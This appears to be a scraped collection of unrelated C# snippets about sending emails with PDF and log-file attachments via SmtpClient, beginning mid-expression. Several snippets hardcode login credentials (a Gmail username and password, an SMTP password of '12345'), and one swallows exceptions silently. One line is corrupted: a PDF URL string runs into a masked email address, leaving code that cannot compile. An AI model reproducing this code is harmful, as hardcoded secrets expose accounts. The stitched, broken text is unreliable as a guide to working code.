                                       RR.ProblemDescription +
                                        " <hr/>" +
                                        "<br/>" +
                                        "</div>" +
                                        "<div style='font-size:20px; display:block; width:100%; background:#0071bc; height:50px;line-height:50px; padding:0 15px; border:1px solid lightgrey; color:white;' >For questions about this email Contact management at: " + RR.Buildings.BuildingPhone + "Find more information...  </div>";


               Gmail gmail = new Gmail("pointerwebapp", "dmc10040");
               MailMessage msg = new MailMessage("*****@*****.**", Worker.Email);
               msg.Subject = "New Assignment Notification";
               msg.Body = contenttobemail;

               msg.IsBodyHtml = true;
               //new
               PdfContractContent pdfContent = new PdfContractContent
               {
                   Address = RR.Buildings.Address + " " + RR.Tenant.Apartment.ApartmentNumber + " " + RR.Buildings.City + " " + RR.Buildings.State + " " + RR.Buildings.Zipcode,
                   Category = RR.RepairRequestCategories.Categories,
                   Priority = RR.RepairUrgency.Urgency,
                   Status = RR.Status,
                   Issued = RR.RequestedDate.Month.ToString() + "/" + RR.RequestedDate.Day.ToString() + "/" + RR.RequestedDate.Year.ToString(),
                   primaryContact = RR.Tenant.FirstName + " " + RR.Tenant.LastName,
                   PrimaryPhone = RR.Tenant.Phone,
                   PrimaryEmail = RR.Tenant.Username,
                   OfficeNotes = RR.RepairRequestNote.Notes,
                   RequestNumber =RR.RequestNumber,
                   problem = RR.ProblemDescription,
                   TenantInstruction = RR.Instructions_
               };
               //new
               var result = pdfworker.CreateTable1(Server.MapPath("~/ContractPDF/"), Server.MapPath("~/img/"), Server.MapPath("~/fonts/"), pdfContent);

               Attachment attachment;
               attachment = new Attachment(Server.MapPath("~/ContractPDF/newContractFile.pdf"));
               msg.Attachments.Add(attachment); 
               gmail.Send(msg);
               attachment.Dispose();
           
           }
            
           var JSONdATA = Json("");
           return new JsonResult {Data = JSONdATA, JsonRequestBehavior = JsonRequestBehavior.AllowGet };
       }
Beispiel #39
0
        public ActionResult Index()
        {
            var outParam = new SqlParameter
            {
                ParameterName = "@result",
                Direction = ParameterDirection.Output,
                SqlDbType = SqlDbType.Int
            };

            List<Boolean> _BUEvent = db.Database.SqlQuery<Boolean>("sp_InsertIntoBuEventLog @result OUT", outParam).ToList();

            using (TransactionScope transaction = new TransactionScope())
            {

                bool result = _BUEvent.FirstOrDefault();
                if (result)
                {
                    var _vwSendEmail = (db.vwSendEmails.Where(a => a.CREATEDDATE == CurrentDate).Select(a => new { a.KDKC, a.email, a.NMKC,a.TAHUN,a.BULAN,a.MINGGU })).Distinct();
                    int count = 0;
                    foreach(var sending in _vwSendEmail)
                    {
                        MemoryStream memory = new MemoryStream();
                        PdfDocument document = new PdfDocument() { Url = string.Format("http://*****:*****@gmail.com", "Legal-InHealth Reminder ");
                        message.Subject = SubjectName;
                        message.Attachments.Add(data);
                        message.Body = sending.NMKC;
                        SmtpClient client = new SmtpClient();

                        try
                        {
                            client.Send(message);
                        }
                        catch (Exception ex)
                        {

                            ViewData["SendingException"] = string.Format("Exception caught in SendErrorLog: {0}",ex.ToString());
                            return View("ErrorSending", ViewData["SendingException"]);
                        }
                        data.Dispose();
                        // Close the log file.
                        memory.Close();
                        count += 1;
                    }
                }
                transaction.Complete();
            }
            return View();
        }
        public bool SendEmail(string toEmail, string name, string subject, string body, string fromName, string Attachfile = "")
        {
            _log.Log(LogLevel.Information, "SendEmail Process start.");
            _log.Log(LogLevel.Information, "SendEmail =>" + toEmail);
            SmtpClient client = new SmtpClient();

            client.DeliveryMethod = SmtpDeliveryMethod.Network;
            client.Host           = "172.16.1.26";
            client.Port           = 25;
            MailMessage msg = new MailMessage();

            //msg.IsBodyHtml = true;
            if (fromName.Contains("@"))
            {
                msg.From = new MailAddress(fromName);
            }
            else
            {
                msg.From = new MailAddress(fromName + "@vgroupholdings.com");
            }
            if (name != "")
            {
                msg.To.Add(new MailAddress(toEmail, name));
            }
            else
            {
                msg.To.Add(new MailAddress(toEmail));
            }

            msg.Subject    = subject;
            msg.IsBodyHtml = true;
            msg.Body       = body; /* string.Format("<html><head></head><body><b>Message Email</b></body>");*/

            //msg.Attachments.Add(attachment);
            //System.Net.Mime.ContentType contentType = new System.Net.Mime.ContentType();
            //contentType.MediaType = System.Net.Mime.MediaTypeNames.Application.Rtf;
            //contentType.Name = "VGHUtility-20191011.txt";
            //msg.Attachments.Add(new Attachment("d:\\somepath.pdf", contentType));

            //byte[] B = Encoding.UTF8.GetBytes(Attachfile);
            //Attachment att = new Attachment(new MemoryStream(B), "xyz.pdf");
            try
            {
                System.Net.Mail.Attachment attachment;

                if (!string.IsNullOrEmpty(Attachfile))
                {
                    attachment = new System.Net.Mail.Attachment(Attachfile);
                    // attachment = new System.Net.Mail.Attachment("D:\\Bhavesh\\somepath.pdf");
                    msg.Attachments.Add(attachment);
                    client.Send(msg);
                    attachment.Dispose();
                }
                else
                {
                    client.Send(msg);
                }

                return(true);
            }
            catch (Exception ex)
            {
                // attachment.Dispose();
                _log.Log(LogLevel.Information, "Email error while sending.=>" + ex.Message);
                return(false);
            }
        }
Beispiel #41
0
        /// <summary>
        ///     Sends a log file as an email attachment if email setttings are configured
        /// </summary>
        /// <param name="m_filepath">Path to the original log file</param>
        /// <param name="lrc">LogRotationConf object</param>
        /// <param name="m_file_attachment_path">Path to the log file to attach to the email</param>
        void SendEmail( string m_filepath, LogrotateConf lrc, string m_file_attachment_path )
        {
            if ( ( lrc.SMTPServer != "" ) && ( lrc.SMTPPort != 0 ) && ( lrc.MailLast ) && ( lrc.MailAddress != "" ) )
            {
                Logging.Log( Strings.SendingEmailTo + " " + lrc.MailAddress, Logging.LogType.Verbose );
                Attachment a = new Attachment( m_file_attachment_path );
                try
                {
                    MailMessage mm = new MailMessage( lrc.MailFrom, lrc.MailAddress );
                    mm.Subject = "Log file rotated";
                    mm.Body = Strings.ProgramName + " has rotated the following log file: " + m_filepath +
                              "\r\n\nThe rotated log file is attached.";

                    mm.Attachments.Add( a );
                    SmtpClient smtp = new SmtpClient( lrc.SMTPServer, lrc.SMTPPort );
                    if ( lrc.SMTPUserName != "" )
                    {
                        smtp.Credentials = new NetworkCredential( lrc.SMTPUserName, lrc.SMTPUserPassword );
                    }
                    smtp.EnableSsl = lrc.SMTPUseSSL;

                    smtp.Send( mm );
                }
                catch ( Exception e )
                {
                    Logging.LogException( e );
                }
                finally
                {
                    a.Dispose();
                }
            }
        }
    protected void Mail(string filename)
    {
        StringBuilder strMailHtml = new StringBuilder();

        strMailHtml.Append("<html>");
        strMailHtml.Append("<head>");
        strMailHtml.Append("    <title></title>");
        strMailHtml.Append("</head>");
        strMailHtml.Append("<body>");
        strMailHtml.Append("    <table width='100%' border='0' align='left' cellpadding='2' cellspacing='2' style='border: 1px solid #ff4f12;'>");
        strMailHtml.Append("        <tbody>");
        strMailHtml.Append("            <tr>");
        strMailHtml.Append("                <td colspan='2' height='70' align='left' valign='top' style='font-size: 12px; text-decoration: none; font-family: Arial; border-bottom: 1px solid #ff4f12'>");
        strMailHtml.Append("                    <img border='0' src='http://dhitsolutions.com/images/logo.png' alt='chiptronics'>");
        strMailHtml.Append("                </td>");
        strMailHtml.Append("            </tr>");
        strMailHtml.Append("            <tr>");
        strMailHtml.Append("                <td height='30' align='left' valign='middle' style='font-size: 12px; font-weight: bold; color: #555555; text-decoration: none; font-family: Arial;'>Dear Customer,");
        strMailHtml.Append("                </td>");
        strMailHtml.Append("                <td height='25' align='right' valign='middle' style='font-size: 12px; text-decoration: none; font-family: Arial'>");
        strMailHtml.Append("                </td>");
        strMailHtml.Append("            </tr>");
        strMailHtml.Append("            <tr>");
        strMailHtml.Append("                <td colspan='' style='font-size: 12px; text-decoration: none; font-family: Arial; line-height: 22px;'>");
        strMailHtml.Append("                  We have dispatched/part dispatched your order number <span style='font-weight: bold; color: #555555; font-size: 14px;'>" + orderno + "</span>.<br />");
        strMailHtml.Append("                    You can track order status by <a target='_blank' style='text-decoration: underline; color: #ff4f12'");
        strMailHtml.Append("                        href='http://www.dhitsolutions.com/TrackOrder.aspx'>clicking here</a>.<br />");
        strMailHtml.Append("                    For any order related query, contact us at <a target='_blank' style='text-decoration: none; color: #ff4f12'");
        strMailHtml.Append("                        href='mailto:[email protected]'>[email protected]</a> or<br />");
        strMailHtml.Append("                    Call us at <span style='font-weight: bold; color: #555555; font-size: 14px;'>1800 200 1619</span>.<br />");
        strMailHtml.Append("                    Dispatch details have been attached in this email. Any pending items for your order will be dispatched as and when the same is available.");
        strMailHtml.Append("                </td>");
        strMailHtml.Append("            </tr>");
        strMailHtml.Append("            <tr>");
        strMailHtml.Append("                <td height='25' colspan='2' align='left' valign='middle' style='font-size: 12px; font-weight: bold; color: #000000; text-decoration: none; font-family: Arial;'>Regards,");
        strMailHtml.Append("                </td>");
        strMailHtml.Append("            </tr>");
        strMailHtml.Append("            <tr>");
        strMailHtml.Append("                <td colspan='2' style='font-family: Arial; font-size: 11px; color: #000000; text-decoration: none; line-height: 22px; font-weight: bold'>Chiptronics Solutions<br>");
        strMailHtml.Append("                    F-45, gunatit park, behind t.b. hospital, gotri road, vadodara.<br />");
        strMailHtml.Append("                    <u>Phone</u> : +91 9722659812");
        strMailHtml.Append("                    <br>");
        strMailHtml.Append("                    <u>Email</u> : <a target='_blank' style='text-decoration: none; color: #ff4f12' href='mailto:[email protected]'>[email protected]</a> <u>Web</u> : <a target='_blank' style='text-decoration: none; color: #ff4f12'");
        strMailHtml.Append("                        href='http://www.dhitsolutions.com'>www.dhitsolutions.com</a>");
        strMailHtml.Append("                </td>");
        strMailHtml.Append("            </tr>");
        strMailHtml.Append("        </tbody>");
        strMailHtml.Append("    </table>");
        strMailHtml.Append("</body>");
        strMailHtml.Append("</html>");

        String strAdmin = strMailHtml.ToString();

        try
        {
            MailMessage mailMsg = new MailMessage();
            MailAddress fromAdd = new MailAddress("*****@*****.**");
            MailAddress replyto = new MailAddress("*****@*****.**");
            mailMsg.From    = fromAdd;
            mailMsg.ReplyTo = replyto;
            mailMsg.To.Add(ViewState["ToMail"].ToString());
            mailMsg.Bcc.Add("*****@*****.**");
            mailMsg.Bcc.Add("*****@*****.**");
            mailMsg.IsBodyHtml = true;
            mailMsg.Subject    = "Chiptronics Invoice Number : " + lblInvoiceNo.Text;

            System.Net.Mail.Attachment attachment;
            attachment = new System.Net.Mail.Attachment(filename);
            mailMsg.Attachments.Add(attachment);

            mailMsg.Body = strAdmin;
            // SmtpClient smtp = new SmtpClient();
            // smtp.Send(mailMsg);
            SmtpClient smtp = new SmtpClient();
            smtp.EnableSsl             = true;
            smtp.UseDefaultCredentials = false;
            smtp.Credentials           = new System.Net.NetworkCredential("*****@*****.**", "12345");
            smtp.Send(mailMsg);
            attachment.Dispose();
        }
        catch (Exception ex)
        {
        }
    }